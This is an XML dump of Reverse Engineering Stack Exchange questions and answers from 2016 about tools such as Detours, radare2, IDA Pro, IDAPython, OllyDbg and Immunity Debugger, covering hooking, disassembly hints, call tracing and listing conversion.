  <row Id="13158" PostTypeId="2" ParentId="13157" CreationDate="2016-07-28T14:53:54.297" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;DetourFunction()&lt;/code&gt; is from an older version of Detours. Probably best to upgrade to the latest version of the library. (The equivalent function is now &lt;code&gt;DetourAttach()&lt;/code&gt;.)&lt;/li&gt;&#xA;&lt;li&gt;If you're using &lt;code&gt;DetourFunction(SHGetKnownFolderPath, Hook)&lt;/code&gt;,&#xA;the value for the first parameter is probably pointing to a compiler-created stub for the real &lt;code&gt;SHGetKnownFolderPath()&lt;/code&gt; function. Instead, you should use &lt;code&gt;DetourFunction(GetProcAddress(GetModuleHandle(&quot;shell32.dll&quot;), &quot;SHGetKnownFolderPath&quot;), Hook)&lt;/code&gt; to ensure that you're using the actual address of the exported API function.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-07-28T14:53:54.297" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13160" PostTypeId="1" AcceptedAnswerId="13164" CreationDate="2016-07-28T20:32:11.027" Score="2" ViewCount="1407" Body="&lt;p&gt;I am trying to disassemble a binary with radare2, as a free alternative to IDA. Here is how the IDA disassembly of that section looks like : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I am doing with Radare2 (with an additional option of &lt;code&gt;e asm.cmtright=true&lt;/code&gt; in my &lt;code&gt;.radare2rc&lt;/code&gt; file)&#xA;: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  r2 binary &#xA;    [0x004027c0]&amp;gt; aaa&#xA;│          [0x004027c0]&amp;gt; s 0x40baa4&#xA;│          [0x0040baa4]&amp;gt; pd 10&#xA;│           0x0040baa4    4200053c     a1 |= loc.00420000&#xA;│           0x0040baa8    301ea524     a1 += 7728&#xA;│           0x0040baac    08c52426     a0 = s1 - 15096&#xA;│           0x0040bab0    09f82003     call t9&#xA;│           0x0040bab4    304c02ae     [s0 + 19504] = v0&#xA;│           0x0040bab8    1800bc8f     gp = [sp + 24]&#xA;│           0x0040babc    304c048e     a0 = [s0 + 19504]&#xA;│           0x0040bac0    2c83998f     t9 = [gp - 31956]&#xA;│           0x0040bac4    00000000     &#xA;│           0x0040bac8    09f82003     call t9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;whereas the disassembly from the same location in IDA looks like : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:0040BAA4                 la      $a1, aId         # &quot;id&quot;&#xA;.text:0040BAAC                 addiu   $a0, $s1, (sub_40C508 - 0x410000)&#xA;.text:0040BAB0                 jalr    $t9 ; parse_uri&#xA;.text:0040BAB4                 sw      $v0, dword_434C30&#xA;.text:0040BAB8                 lw      $gp, 0x12B8+var_12A0($sp)&#xA;.text:0040BABC                 lw      $a0, dword_434C30&#xA;.text:0040BAC0                 la      $t9, sobj_get_string&#xA;.text:0040BAC4                 nop&#xA;.text:0040BAC8                 jalr    $t9 ; sobj_get_string&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible to have radare2 show similar disassembly and be more meaningful? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another example would be : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x004127f8]&amp;gt; pd 10&#xA;│           0x004127f8    6c83998f     t9 = [gp - 31892]&#xA;│           0x004127fc    00000000     &#xA;│           0x00412800    09f82003     call t9&#xA;│           0x00412804    2000a427     a0 = sp + 32&#xA;│           0x00412808    1800bc8f     gp = [sp + 24]&#xA;│           0x0041280c    02000524     a1 = 2&#xA;│           0x00412810    5481998f     t9 = [gp - 32428]&#xA;│           0x00412814    21300000     a2 = zero&#xA;│           0x00412818    09f82003     call t9&#xA;│           0x0041281c    2120c002     a0 = s6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compared to IDA : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:004127F8                 la      $t9, system&#xA;.text:004127FC                 nop&#xA;.text:00412800                 jalr    $t9 ; system&#xA;.text:00412804                 addiu   $a0, $sp, 0x248+var_228  # command&#xA;.text:00412808                 lw      $gp, 0x248+var_230($sp)&#xA;.text:0041280C                 li      $a1, 2           # cmd&#xA;.text:00412810                 la      $t9, lockf&#xA;.text:00412814                 move    $a2, $zero       # len&#xA;.text:00412818                 jalr    $t9 ; lockf&#xA;.text:0041281C                 move    $a0, $s6         # fd&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;IDA even tells me that this is the address of system, while just looking at the radare2 code I wouldn't have had been able to find it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on how I could improve the radare2 analysis or it is just one of the limitations ?&lt;/p&gt;&#xA;" OwnerUserId="16899" LastActivityDate="2016-07-29T12:24:49.137" Title="Radare2 to show code hints like IDA Pro?" Tags="|ida|disassembly|disassemblers|radare2|mips|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13161" PostTypeId="1" CreationDate="2016-07-29T01:36:22.853" Score="11" ViewCount="15802" Body="&lt;p&gt;I have changed the windows from the original tiling layout in Immunity Debugger. I would like to restore the original tiling. I have tried restarting the program but the modified tiling remains. Is there a procedure for restoring the original tiling?&lt;/p&gt;&#xA;" OwnerUserId="16902" LastActivityDate="2018-06-25T10:27:21.377" Title="Immunity Debugger reset windows to default tiling" Tags="|immunity-debugger|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13162" PostTypeId="1" CreationDate="2016-07-29T11:16:12.183" Score="1" ViewCount="3630" Body="&lt;p&gt;I am trying to learn how IIS 5.0(running on Win2K Server) works with OllyDbg v1.10.&#xA;I attach Olly to inetinfo.exe, which is the process for IIS 5.0. Olly then pauses in ntdll. See &lt;a href=&quot;https://i.stack.imgur.com/XF79J.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&#xA;My plan is: I send a request to IIS, then observe what functions are called. So I know how IIS handles a request. But I dont want to do it manually. Is there anyway to record function calls for a attached process?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OS: Win2K SP1&lt;/p&gt;&#xA;" OwnerUserId="11478" LastEditorUserId="11478" LastEditDate="2016-07-29T16:04:14.283" LastActivityDate="2016-08-30T13:38:04.507" Title="OllyDbg: how to record all funtion calls for attached process" Tags="|ollydbg|debugging|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13164" PostTypeId="2" ParentId="13160" CreationDate="2016-07-29T11:57:25.530" Score="2" Body="&lt;p&gt;you probably have e asm.esil set to true and e asm.emu set to false &#xA;try toggling them&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;radare2.exe malloc://0x4f0000&#xA; -- Hello Mr. Anderson&#xA;&#xA;[0x00000000]&amp;gt; s 0x40abb4&#xA;[0x0040abb4]&amp;gt; wx 4200053c301ea52408c5242609f82003&#xA;[0x0040abb4]&amp;gt; e asm.emu = true&#xA;[0x0040abb4]&amp;gt; e asm.esil = true&#xA;[0x0040abb4]&amp;gt; e asm.arch = mips&#xA;&#xA;&#xA;[0x0040abb4]&amp;gt; pd 4&#xA;            0x0040abb4      4200053c       0x420000,a1,=              ; a1=0x420000&#xA;            0x0040abb8      301ea524       7728,a1,+,a1,=             ; a1=0x421e30&#xA;            0x0040abbc      08c52426       15096,s1,-,a0,=            ; a0=0xffffffffffffc508 -&amp;gt; 0xffffff00&#xA;            0x0040abc0      09f82003       0,$ds,&amp;gt;,?{,$$,1,TRAP,BREAK,},pc,4,+,ra,=,t9,$jt,=,1,$ds,=; ra=0x40abc8 ; $jt=0x0 ; CALL: 0x0, 0x0&#xA;, 0x0, 0x0&#xA;&#xA;&#xA;[0x0040abb4]&amp;gt; e asm.esil = false&#xA;[0x0040abb4]&amp;gt; pd 4&#xA;            0x0040abb4      4200053c       lui a1, 0x42               ; a1=0x420000&#xA;            0x0040abb8      301ea524       addiu a1, a1, 0x1e30       ; a1=0x421e30&#xA;            0x0040abbc      08c52426       addiu a0, s1, -0x3af8      ; a0=0xffffffffffffc508 -&amp;gt; 0xffffff00&#xA;            0x0040abc0      09f82003       jalr t9                    ; ra=0x40abc8 ; $jt=0x0 ; CALL: 0x0, 0x0, 0x0, 0x0&#xA;[0x0040abb4]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2016-07-29T11:57:25.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13165" PostTypeId="2" ParentId="13160" CreationDate="2016-07-29T12:24:49.137" Score="0" Body="&lt;p&gt;This is currently Work in progress feature. It is called type propagation analysis that allows giving hints on variables types and their name in case of using standard functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cant explain how to use because it is still not finished. but you will expected to provide &lt;a href=&quot;https://github.com/radare/radare2/blob/master/doc/calling-conventions.md&quot; rel=&quot;nofollow&quot;&gt;calling conventions profile&lt;/a&gt; and data-types/function prototypes profiles for target architecture, they will be used to match function arguments to each instance of &lt;code&gt;call&lt;/code&gt; instruction stack frame and registers as described per the profiles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This analysis round should be target architecture independent. Once it is fully implemented I will update the answer to describe how to use that analysis&lt;/p&gt;&#xA;" OwnerUserId="8437" LastActivityDate="2016-07-29T12:24:49.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13166" PostTypeId="1" CreationDate="2016-07-29T14:58:38.950" Score="1" ViewCount="479" Body="&lt;p&gt;I'm reversing an x86 binary and I have an instruction that using the at&amp;amp;t syntax is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;movl 0xc(%ebp), %eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;while using the intel syntax is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, dword [ebp+arg_3]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using radare2, and at the start of the function it prints&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; arg int arg_0_1      @ ebp+0x1&#xA;; arg int arg_3        @ ebp+0xc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why &lt;code&gt;[ebp+arg_3]&lt;/code&gt; instead of a simple substitution like &lt;code&gt;[arg_3]&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="16909" LastEditorUserId="16909" LastEditDate="2016-07-29T15:39:41.233" LastActivityDate="2016-10-23T21:56:02.297" Title="Why 0xc(%ebp) becomes dword [ebp+arg_3]?" Tags="|radare2|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13167" PostTypeId="2" ParentId="13161" CreationDate="2016-07-29T15:39:32.463" Score="10" Body="&lt;p&gt;I'm not sure what you mean with &quot;original tiling&quot;. As far as I know Immunity just displays the &lt;code&gt;CPU&lt;/code&gt; window initially. All the other windows are normally closed. So I would recommend to just close all windows and open &lt;code&gt;View&lt;/code&gt;&gt;&lt;code&gt;CPU&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To &quot;reset&quot; the tiling within the &lt;code&gt;CPU&lt;/code&gt; window. Just close all windows expect the &lt;code&gt;CPU&lt;/code&gt; window. Minimize the &lt;code&gt;CPU&lt;/code&gt; window manually and click &lt;code&gt;Tile horizontal&lt;/code&gt; afterwards. Normally the tiling within the &lt;code&gt;CPU&lt;/code&gt; window should be centered now.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In the case you want to display multiple windows and re-arrange them:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;close all windows&lt;/li&gt;&#xA;&lt;li&gt;open the windows of interest with &lt;code&gt;View&lt;/code&gt;&gt;&lt;code&gt;CPU&lt;/code&gt; / &lt;code&gt;Memory&lt;/code&gt; / &lt;code&gt;Log&lt;/code&gt;/ &lt;code&gt;...&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Tile windows with: &lt;code&gt;Window&lt;/code&gt; &gt; &lt;code&gt;Tile horizontal / vertical&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Until now, I didn't find a better solution.&lt;/p&gt;&#xA;" OwnerUserId="15907" LastEditorUserId="15907" LastEditDate="2016-07-29T15:53:41.423" LastActivityDate="2016-07-29T15:53:41.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13168" PostTypeId="2" ParentId="13166" CreationDate="2016-07-29T15:42:02.637" Score="3" Body="&lt;p&gt;The reference to &lt;code&gt;ebp&lt;/code&gt; makes explicit which register is being used to access the variable, and also the fact that the reference is relative, not absolute.  A compiler might have produced an instruction using &lt;code&gt;esp&lt;/code&gt; instead, if no stack frame exists, or any other register if the code were written by hand. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further, to show only &lt;code&gt;[arg_3]&lt;/code&gt; implies that the access is equivalent to another memory location such as &lt;code&gt;[401000h]&lt;/code&gt;, but with a name instead of a number.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastEditorUserId="1485" LastEditDate="2016-10-23T21:56:02.297" LastActivityDate="2016-10-23T21:56:02.297" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13169" PostTypeId="2" ParentId="13120" CreationDate="2016-07-29T16:25:56.853" Score="0" Body="&lt;p&gt;Ok, I found a solution in Python and it should work the same in C++. For anyone interested, here's the code. It changes the calling convention from &lt;code&gt;__usercall&lt;/code&gt; to &lt;code&gt;__fastcall&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;old_func_type = idaapi.tinfo_t()&#xA;cfunc.get_func_type(old_func_type)&#xA;&#xA;fi = idaapi.func_type_data_t()&#xA;if old_func_type.get_func_details(fi):&#xA;    if (fi.cc == idaapi.CM_CC_SPECIAL) or (fi.cc == idaapi.CM_CC_SPECIALE) or (fi.cc == idaapi.CM_CC_SPECIALP):&#xA;        fi.cc = idaapi.CM_CC_FASTCALL&#xA;&#xA;        new_func_type = idaapi.tinfo_t()&#xA;        new_func_type.create_func(fi)&#xA;&#xA;        idaapi.apply_tinfo2(ea, new_func_type, idaapi.TINFO_DEFINITE)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16834" LastActivityDate="2016-07-29T16:25:56.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13174" PostTypeId="1" AcceptedAnswerId="13177" CreationDate="2016-07-30T23:50:08.510" Score="2" ViewCount="231" Body="&lt;p&gt;I think I've seen it somewhere a few years back, but couldn't find a mention anywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm developing an IDAPython plugin and I'd like to embed IDB-specific information inside IDBs. Obviously, I could write that data into another file but embedding it into IDB files will really suit my needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data itself is quite simple and small, I could do with few tens (hundred max) of bytes. I can go one binary blob or free-text/json that I manually manage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought about adding a section of my own, but that's a bit too hacky and IDA instances without my plugin will show it to the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2016-07-31T07:33:17.853" Title="Adding user(/plugin/thirdparty) data to IDB files" Tags="|ida|idapython|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13175" PostTypeId="1" AcceptedAnswerId="13178" CreationDate="2016-07-31T03:41:47.313" Score="7" ViewCount="3275" Body="&lt;p&gt;Currently I'm reversing a Windows driver, and there are a lot of structs IDA doesn't automatically recognize, which means I have to import them manually by parsing C header files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there are way too many nested structs/unions and I have to modify each one so IDA can parse it correctly. They go so deep, they make me spend more time on adding structs rather than actually reversing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way of doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did try parsing the file I need with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;F9&lt;/kbd&gt;, but IDA doesn't understand stuff like e.g. &lt;code&gt;#include&lt;/code&gt;s and errors, making this option impossible to use&lt;/p&gt;&#xA;" OwnerUserId="4750" LastActivityDate="2016-07-31T09:00:05.783" Title="How to import Windows DDK headers into IDA?" Tags="|ida|windows|driver|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13176" PostTypeId="2" ParentId="13175" CreationDate="2016-07-31T07:01:47.977" Score="7" Body="&lt;p&gt;Create an empty file, include whatever headers you want, add a &lt;code&gt;DriverEntry&lt;/code&gt; and compile with debug symbols enabled and no optimization. Now load the test driver into IDA. If done correctly, All types should be available.&#xA;You should be able to export all types via &lt;code&gt;File-&amp;gt;Produce File-&amp;gt;Dump typeinfo to IDC file...&lt;/code&gt; then load the script back &lt;code&gt;File-&amp;gt;Script File...&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="16921" LastActivityDate="2016-07-31T07:01:47.977" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13177" PostTypeId="2" ParentId="13174" CreationDate="2016-07-31T07:33:17.853" Score="1" Body="&lt;p&gt;You can try &lt;code&gt;netnode&lt;/code&gt;. check out &lt;a href=&quot;https://github.com/williballenthin/ida-netnode&quot; rel=&quot;nofollow&quot;&gt;https://github.com/williballenthin/ida-netnode&lt;/a&gt; .&lt;/p&gt;&#xA;" OwnerUserId="16921" LastActivityDate="2016-07-31T07:33:17.853" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13178" PostTypeId="2" ParentId="13175" CreationDate="2016-07-31T09:00:05.783" Score="10" Body="&lt;p&gt;&lt;code&gt;View-&amp;gt;Open subviews-&amp;gt;Type Libraries&lt;/code&gt; (&lt;kbd&gt;Shift-F11&lt;/kbd&gt;), right click, &lt;code&gt;Load Type Library...&lt;/code&gt;, &lt;code&gt;wdk8_km&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-07-31T09:00:05.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13180" PostTypeId="2" ParentId="13162" CreationDate="2016-07-31T13:14:26.360" Score="1" Body="&lt;p&gt;ollydbg version 2.01   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;c:\&amp;gt; ollydbg calc&#xA;&#xA;alt + e (executable modules)&#xA;ctrl+ p (set protocol)&#xA;select radio button call destination first &#xA;then select add range &#xA;in the start enter (alt+e-&amp;gt; your Module base)&#xA;int the end enter (alt+e -&amp;gt; Your module base + size)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sIbRs.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sIbRs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and start tracing with ctrl+f11 (trace in ) &#xA;ollydbg should show you all the calls like this &lt;/p&gt;&#xA;&#xA;&lt;p&gt;result&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;main calc.__security_init_cookie&#xA;main calc._SEH_prolog4&#xA;main calc._initterm_e&#xA;main calc.000B3942&#xA;main calc._get_image_app_type&#xA;main calc.RtlpImageNtHeader&#xA;main calc._SEH_prolog4&#xA;main calc._SEH_epilog4&#xA;main calc.CCalculatorDialog::GetDlgProc&#xA;main calc._setdefaultprecision&#xA;main calc.__CxxSetUnhandledExceptionFilter&#xA;main calc.CScaledResourceFactory::_LoadUsingWIC&#xA;main calc.CreateDecoderFromResource&#xA;main calc.FindRawResource&#xA;main calc.CScaledResourceFactory::_SelectFrameByDPI&#xA;main calc.CScaledResourceFactory::_ScaleSource&#xA;main calc.GetPixelFormatInfo&#xA;main calc.WICFormatToBpp&#xA;main calc.__security_check_cookie&#xA;main calc.WICBitmapToHBITMAP&#xA;main calc.GetPixelFormatInfo&#xA;main calc.WICFormatToBpp&#xA;main calc.__security_check_cookie&#xA;main calc.CreateHBITMAP&#xA;main calc.CScaledResourceFactory::Release&#xA;main calc.CScaledResourceFactory::`scalar&#xA;main calc.CScaledResourceFactory::~CScaledResourceFactory&#xA;main calc.operator&#xA;main calc.CCalcHelper::LoadImageScaledX&#xA;main calc.LoadImageScaled&#xA;main calc.CScaledResourceFactory::s_CreateInstance&#xA;main calc.operator&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2016-07-31T13:14:26.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13183" PostTypeId="1" CreationDate="2016-08-01T06:45:07.143" Score="0" ViewCount="148" Body="&lt;p&gt;I try to decompile a function that is obfuscated by having split &#xA;up the controlflow into asmblocks scattered around the .text section &#xA;and connected by &quot;jmpq&quot; jumps. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;func1&amp;gt;:&#xA;0:    insn..&#xA;1:    jmpq xx100&#xA;2:    callq sub&#xA;3:    jmpq  xx104&#xA;...&#xA;&amp;lt;nonfunc&amp;gt;:&#xA;..&#xA;xx100: insn...&#xA;xx101: jmpq 2&#xA;..&#xA;xx104: insn &#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a tool/plugin that can reassemble the function code by following the jmpq blocks and appending the chunks? I guess it is not that&#xA;trivial because you also have to account for relative offsets and patch&#xA;relocation sections, etc. .&lt;/p&gt;&#xA;" OwnerUserId="16938" LastActivityDate="2016-08-01T06:45:07.143" Title="Reassemble function that has its control flow chopped so that it can be decompiled by IDA" Tags="|ida|deobfuscation|decompile|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13185" PostTypeId="1" AcceptedAnswerId="13187" CreationDate="2016-08-02T03:06:18.977" Score="0" ViewCount="2209" Body="&lt;p&gt;I want to list parameter of function for analysis. Can I list the parameter of function using IDA Pro or IDAPython ?&lt;/p&gt;&#xA;" OwnerUserId="16054" LastActivityDate="2016-08-02T05:52:49.950" Title="How to list parameter of function from IDA Pro?" Tags="|ida|assembly|idapython|functions|" AnswerCount="1" CommentCount="1" ClosedDate="2016-08-10T06:22:43.017" ContentLicense="CC BY-SA 3.0" />
  <row Id="13187" PostTypeId="2" ParentId="13185" CreationDate="2016-08-02T05:52:49.950" Score="2" Body="&lt;p&gt;with some hack like this ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cmt = GetType(ScreenEA());&#xA;print cmt&#xA;fc = cmt.split(&quot;(&quot;)&#xA;sc = fc[1].split(&quot;)&quot;)&#xA;tc = sc[0].split(&quot;,&quot;)&#xA;for s in tc:&#xA;    print s&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;result when cursor is in functionstart&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __stdcall(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)&#xA;HINSTANCE hInstance&#xA; HINSTANCE hPrevInstance&#xA; LPSTR lpCmdLine&#xA; int nShowCmd&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2016-08-02T05:52:49.950" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13191" PostTypeId="2" ParentId="13152" CreationDate="2016-08-02T15:08:04.833" Score="1" Body="&lt;p&gt;The only comparable technique which I found was called &lt;code&gt;Code Transposition&lt;/code&gt;, where you have to distunghish between two types: The first one is based on conditional jumps, the second one is based on independent instructions. I'm not clearly sure if you are looking for a technique on a higher, more &quot;semantic&quot; level.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[...] the second method creates new generations by choosing and reordering the independent instructions that have no impact on one another. Because it is a complex problem to find the independent instructions, this method is hard to implement, but can make the cost of detection high. [2]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Sources are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[1] Christodorescu, M., &amp;amp; Jha, S. (2006). &#xA;Static analysis of executables to detect malicious patterns.   &#xA;Wisconsin Univ-Madison Dept of Computer Sciences.&#xA;&#xA;[2] You, I., &amp;amp; Yim, K. (2010, November). &#xA;Malware Obfuscation Techniques: A Brief Survey. &#xA;In BWCCA (pp. 297-300).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15907" LastActivityDate="2016-08-02T15:08:04.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13192" PostTypeId="1" AcceptedAnswerId="13196" CreationDate="2016-08-02T15:53:00.540" Score="1" ViewCount="1886" Body="&lt;p&gt;I'm currently working with a huge set of IDA Pro listings (&lt;code&gt;~1TiB&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a project I need to perform analyses on the &lt;code&gt;mnemonics&lt;/code&gt; and &lt;code&gt;operands&lt;/code&gt; on a subroutine level. Therefor I want to convert the IDA format in a plain assembly format, as the existing parser only works for &quot;PLAIN ASM&quot; files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additonally this should be done without using a non-free version of IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;IDA ASM&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00401000                             ; =============== S U B R O U T I N E =======================================&#xA;.text:00401000&#xA;.text:00401000                             ; Attributes: bp-based frame&#xA;.text:00401000&#xA;.text:00401000                             sub_401000      proc near           ; CODE XREF: sub_43BD35+Ap&#xA;.text:00401000&#xA;.text:00401000                             var_C           = dword ptr -0Ch&#xA;.text:00401000                             var_8           = dword ptr -8&#xA;.text:00401000                             var_4           = dword ptr -4&#xA;.text:00401000&#xA;.text:00401000 55                                  push    ebp&#xA;.text:00401001 8B EC                                   mov     ebp, esp&#xA;.text:00401003 83 EC 0C                                sub     esp, 0Ch&#xA;.text:00401006 89 4D F4                                mov     [ebp+var_C], ecx&#xA;.text:00401009 8B 45 F4                                mov     eax, [ebp+var_C]&#xA;.text:00401021 59                                  pop     ecx&#xA;.text:00401022&#xA;.text:00401022                             loc_401022:                 ; CODE XREF: sub_401000+Fj&#xA;.text:00401022 8B 45 F4                                mov     eax, [ebp+var_C]&#xA;.text:00401025 83 78 04 00                             cmp     dword ptr [eax+4], 0&#xA;.text:00401029 74 12                                   jz      short locret_40103D&#xA;.text:0040102B 8B 45 F4                                mov     eax, [ebp+var_C]&#xA;.text:0040102E 8B 40 04                                mov     eax, [eax+4]&#xA;.text:00401031 89 45 F8                                mov     [ebp+var_8], eax&#xA;.text:00401034 FF 75 F8                                push    [ebp+var_8]     ; void *&#xA;.text:00401037 E8 B8 0D 00 00                              call    ??3@YAXPAX@Z    ; operator delete(void *)&#xA;.text:0040103C 59                                  pop     ecx&#xA;.text:0040103D&#xA;.text:0040103D                             locret_40103D:                  ; CODE XREF: sub_401000+29j&#xA;.text:0040103D C9                                  leave&#xA;.text:0040103E C3                                  retn&#xA;.text:0040103E                             sub_401000      endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Convert to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PLAIN ASM&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;=============== S U B R O U T I N E =======================================&#xA;push    ebp&#xA;mov     ebp, esp&#xA;sub     esp, 0Ch&#xA;mov     [ebp+var_C], ecx&#xA;mov     eax, [ebp+var_C]&#xA;pop     ecx&#xA;mov     eax, [ebp+var_C]&#xA;cmp     dword ptr [eax+4], 0&#xA;jz      short locret_40103D&#xA;mov     eax, [ebp+var_C]&#xA;mov     eax, [eax+4]&#xA;mov     [ebp+var_8], eax&#xA;push    [ebp+var_8]     ; void *&#xA;call    ??3@YAXPAX@Z    ; operator delete(void *)&#xA;pop     ecx&#xA;leave&#xA;retn&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question:&lt;/strong&gt;&#xA;Are there solutions or scripts already existing for such a (automatically or batch-mode) conversion (at the best without needing a IDA non-free version)?&lt;/p&gt;&#xA;" OwnerUserId="15907" LastEditorUserId="15907" LastEditDate="2016-08-04T05:49:46.710" LastActivityDate="2016-08-05T15:06:02.703" Title="Convert IDA listings to assembly without using IDA non-free" Tags="|ida|disassembly|assembly|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
